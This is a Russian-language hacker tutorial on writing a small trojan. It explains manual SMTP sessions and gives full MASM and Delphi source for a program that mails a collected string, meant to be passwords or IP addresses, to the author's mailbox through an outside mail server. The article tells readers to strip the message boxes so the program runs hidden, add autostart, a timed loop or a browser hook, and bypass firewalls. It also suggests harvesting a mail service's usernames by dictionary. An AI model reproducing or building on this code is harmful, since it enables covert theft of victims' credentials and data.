Tроян. По моему мнению, это очень маленькая
прога, способная отсылать некоторую
информацию на нужный e-mail и(или) закачивать и
запускать указанные файл(ы). В этой статье я
предоставлю некоторую информацию - уже,
наверно, всем известную, но ... Итак, начну.
Письма отсылать и принимать можно не только
с помощью почтовой программы, а и с помощью
терминала удаленного доступа, посылая
серверу команды. Все команды POP3 и SMTP
серверов приводить не буду - для получения
этой инфы есть поисковые системы, но о
необходимом минимуме расскажу.
Первое. Пусть у нас есть некоторая
сформированная строка (пароли, IP-адрес и т.п.)
и нам нужно ее отправить по почте. Само
письмо состоит из двух частей: заголовок (header)
и само сообщение. В хидере необходимо
указать от кого письмо, кому, кодировка,
мэйлер и т.п. Сам сервак подставит туда дату,
IP-адрес и прочую ненужную лабуду. Если для
кого-то сказанное выше является
откровением, то можно посмотреть всю
информацию о письме с помощью любого
почтового клиента. Для написания этой
статьи я открыл почтовый ящик в ukr.net под
названием dndanil@ukr.net. SMTP сервак там freemail.ukr.net.
Отправка почты осуществляется по 25 порту.
Запускаем telnet (для маздая я пользуюсь SecureCRT
с http://www.vandyke.com).
В поле сервера пишем freemail.ukr.net, в поле порт -
25. Сервак нам должен написать "250 ...".
Теперь с ним надо поздороваться - он будет
наш IP-адрес определять. Набираем "helo yahoo.com".
Параметр - реально существующий адрес. Он
нам опять что-то ответит. Как я уже говорил,
информацию о командах и сообщениях сервака
можно найти через поиск. Теперь нужно
сказать серверу от кого письмо. Набираем
"MAIL FROM: dndanil@ukr.net". Здесь нужно указать
любой почтовый адрес, но он должен быть
реально существующим.
Это совсем не значит, что письмо сразу
станет анонимным - в хидере будет наш
реальный IP-адрес. Для анонимного письма
нужно использовать анонимный SMTP, писать
бота, подделывать хидер (так, чтобы наш
адрес был как пересылочный) и т.п. На 100% это
все равно не спасет - все ведут логи. Для
получения существующего мыла заходим на
"Новый пользователь" и пишем какой-нибудь
стандарт "vasiliy@..." - если cервер напишет,
что такое имя уже есть, то .... Кстати,
автоматизировав этот процесс, можно
получить лист рассылки сервака по словарю.
Это я отвлекся.
Продолжим. Пишем "RCPT TO: dndanil@ukr.net" -
кому письмо. Потом "DATA". Сервак напишет,
что введите данные и закончите ".".
Потом пишем тело нашего письма ("Hello. Test").
На новой строке ставим точку. Посылаем
команду "QUIT". Письмо отправлено. Кстати,
после каждой команды надо нажимать "Enter".
Письмо, конечно, можно было сделать более
навороченным - указать кодировку и т.п., но
зачем? После всего этого закрываем телнет и
получаем почту с аккаунта dndanil@ukr.net. Там
должно быть наше письмо. Нужно
автоматизировать этот процесс. Я приведу
сорцы на MASM и Delphi. Если что, то переписать на
Сях проблем не должно возникнуть.
Вот файл "troyan.asm" :
.486
.model flat,stdcall
option casemap:none
include \masm32\include\windows.inc
include \masm32\include\masm32.inc
include \masm32\include\wsock32.inc
include \masm32\include\user32.inc
include \masm32\include\kernel32.inc
includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\wsock32.lib
includelib \masm32\lib\masm32.lib
; ---------------------------
; Проца посимвольной отправки данных
Mys PROTO :DWORD
; ---------------------------
.DATA
HeloStr db "HELO ukr.net",13,10,0,0 ; Поздороваться с
сервером
FromStr db "MAIL FROM: dndanil@ukr.net",13,10,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
; От кого письмо. Куча нулей, чтобы в hex-редакторе
изменять обратный адрес в exe файле.
; Система такая - открываем, ищем "MAIL FROM:
dndanil@ukr.net", изменяем и в конце 13,10,0
DataStr db "DATA",13,10,0
QuitStr db "QUIT",13,10,0
EndStr db 13,10,".",13,10,0
RcptStr db "RCPT TO: dndanil@ukr.net",13,10,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
; Кому письмо. Куча нулей, чтобы в hex-редакторе
изменять обратный адрес в exe файле.
; Система такая - открываем, ищем "RCPT TO:
dndanil@ukr.net", изменяем и в конце 13,10,0
MySmtp db "212.42.64.8",0
; Адрес SMTP сервера - сначала надо
отпинговать "ping -a freemail.ukr.net" и ввести
адрес
; в виде xxx.xxx.xxx.xxx
MyBuf db "Hi, I`m Troyan",13,10,0 ; Строка для
отправки
; Для инициализации сокета
wsadata WSADATA <>
sin sockaddr_in <>
Port dd 25
; ---------------------------
.DATA?
sock dd ?
buf db 255 dup (?)
; ---------------------------
; ---------------------------
; ---------------------------
.CODE
start:
; Инициализируем сокет для соединения с
212.42.64.8 - SMTP сервером
invoke WSAStartup,101h,addr wsadata
invoke socket,AF_INET,SOCK_STREAM,IPPROTO_IP
mov sock,eax
mov sin.sin_family,AF_INET
invoke htons,Port
mov sin.sin_port,ax
invoke inet_addr, addr MySmtp
mov sin.sin_addr, eax
; Соединение
invoke connect, sock, addr sin ,sizeof sin
; Получим от сервера ответ
invoke recv, sock, addr buf, sizeof buf, 0
; HELO SERVER
; Запускаем процу посимвольной отправки
строки
invoke Mys, addr HeloStr
; Получим от сервера ответ
invoke recv, sock, addr buf, sizeof buf, 0
; Выведем ответ сервера
invoke MessageBox,0,addr buf, addr HeloStr, MB_OK
; MAIL TO:
invoke Mys, addr FromStr
invoke recv, sock, addr buf, sizeof buf, 0
invoke MessageBox,0,addr buf, addr FromStr, MB_OK
; RCPT TO:
invoke Mys, addr RcptStr
invoke recv, sock, addr buf, sizeof buf, 0
invoke MessageBox,0,addr buf, addr RcptStr, MB_OK
; DATA
invoke Mys, addr DataStr
invoke recv, sock, addr buf, sizeof buf, 0
invoke MessageBox,0,addr buf, addr DataStr, MB_OK
; Отправка информации
invoke Mys, addr MyBuf
; .
invoke Mys, addr EndStr
invoke recv, sock, addr buf, sizeof buf, 0
invoke MessageBox,0,addr buf, addr EndStr, MB_OK
; QUIT
invoke Mys, addr QuitStr
invoke recv, sock, addr buf, sizeof buf, 0
invoke MessageBox,0,addr buf, addr QuitStr, MB_OK
; Закрываем сокет
invoke closesocket,sock
; Выходим
invoke ExitProcess,eax
; ---------------------------
; Проца посимвольной отправки данных
Mys proc SendStr : DWORD
; edi указывает на пришедшую строку
mov edi, SendStr
; цикл перебора
.WHILE TRUE
; если конец строки - выход из цикла
.BREAK .IF (byte ptr [edi] == 0 )
; отправка текущего символа
invoke send, sock, edi, 1, 0
; следующий символ
inc edi
.ENDW
ret
Mys endp
END start
После компиляции у нас должен появиться
файл "troyan.exe". При запуске он отправит
на dndanil@ukr.net через freemail.ukr.net (212.42.64.8)
сообщение "Hi, I`m Troyan". При вызове каждой
команды, прога будет высвечивать ответ
сервера. Для полного скрытия проги нужно
поубирать "invoke MessageBox,0,...". Теперь для
написания небольшого трояна необходимо
дописать формирование нужной строки для
отправки, прописать автозапуск, запустить
цикл раз в 5 минут или, например, поставить
hook на запуск IE и т.п. Если ставить цикл, то
можно задолбаться принимать одинаковые
письма с сервака. Если ставить hook, то
человек может Internet Explorer не пользоваться. Ну
тут уже кто как придумает. Также можно
написать конфигуратор - смотри комментарии
об изменении "Кому" в исходниках.
Теперь то же самое на Delphi.
Вот файл "troyan_d.dpr" :
program Troyan_d;
uses Winsock;
const
RcptStr : String = 'dndanil@ukr.net';
var
wsadata: TWSADATA;
sin: TSockAddrIn;
sock: TSocket;
MySmtp : String;
MyBuf: String; // Строка для отправки
iaddr: Integer;
buf: array[0..255] of char;
// Проца посимвольной отправки данных
procedure Mys(str: String);
var
I: Integer;
begin
for I:=1 to Length(str) do if send(sock,str[I],1,0)=SOCKET_ERROR then exit;
end;
begin
MyBuf:='Hi, I`m Troyan';
MySmtp:='212.42.64.8';
// Инициализируем сокет для соединения с
212.42.64.8 - SMTP сервером
WSAStartUp(257, wsadata);
sock:=socket(AF_INET,SOCK_STREAM,IPPROTO_IP);
sin.sin_family := AF_INET;
htons(25);
sin.sin_port := htons(25);
iaddr:=inet_addr(PChar(MySmtp));
sin.sin_addr.S_addr:=iaddr;
// Соединение
connect(sock,sin,sizeof(sin));
// Получим от сервера ответ
recv(sock,buf,sizeof(buf),0);
// HELO SERVER
// Запускаем процу посимвольной отправки
строки
Mys('HELO ukr.net'+#13+#10);
// Получим от сервера ответ
recv(sock,buf,sizeof(buf),0);
// MAIL TO:
Mys('MAIL FROM: '+RcptStr+#13+#10);
recv(sock,buf,sizeof(buf),0);
// RCPT TO:
Mys('RCPT TO: '+RcptStr+#13+#10);
recv(sock,buf,sizeof(buf),0);
// DATA
Mys('DATA'+#13+#10);
recv(sock,buf,sizeof(buf),0);
// Отправка информации
Mys(MyBuf+#13+#10);
// .
Mys(#13+#10+'.'+#13+#10);
recv(sock,buf,sizeof(buf),0);
// QUIT
Mys('QUIT'+#13+#10);
recv(sock,buf,sizeof(buf),0);
// Закрываем сокет
closesocket(sock);
// Выходим
end.
Второе. Предполагается, что я буду дальше
развивать эту тему. Идеи есть такие:
разобраться с firewall (посмотреть как основные
из них хранят инфу о доверенных приложениях
и вписывать туда свою прогу), рассмотреть
закачку и запуск файла на сервере (функции
"InternetOpen", "InternetCloseHandle", "InternetReadFile"
...) и т.д. и т.п. Если тема интересная, то
пишите в отзывы.
Web-страница программы : www.danil.dp.ua;
Исходники, статьи : www.danil.dp.ua/troyan.zip.
P.S. Статья и программа предоставлена в целях
обучения и вся ответственность за
использование ложится на твои хилые плечи.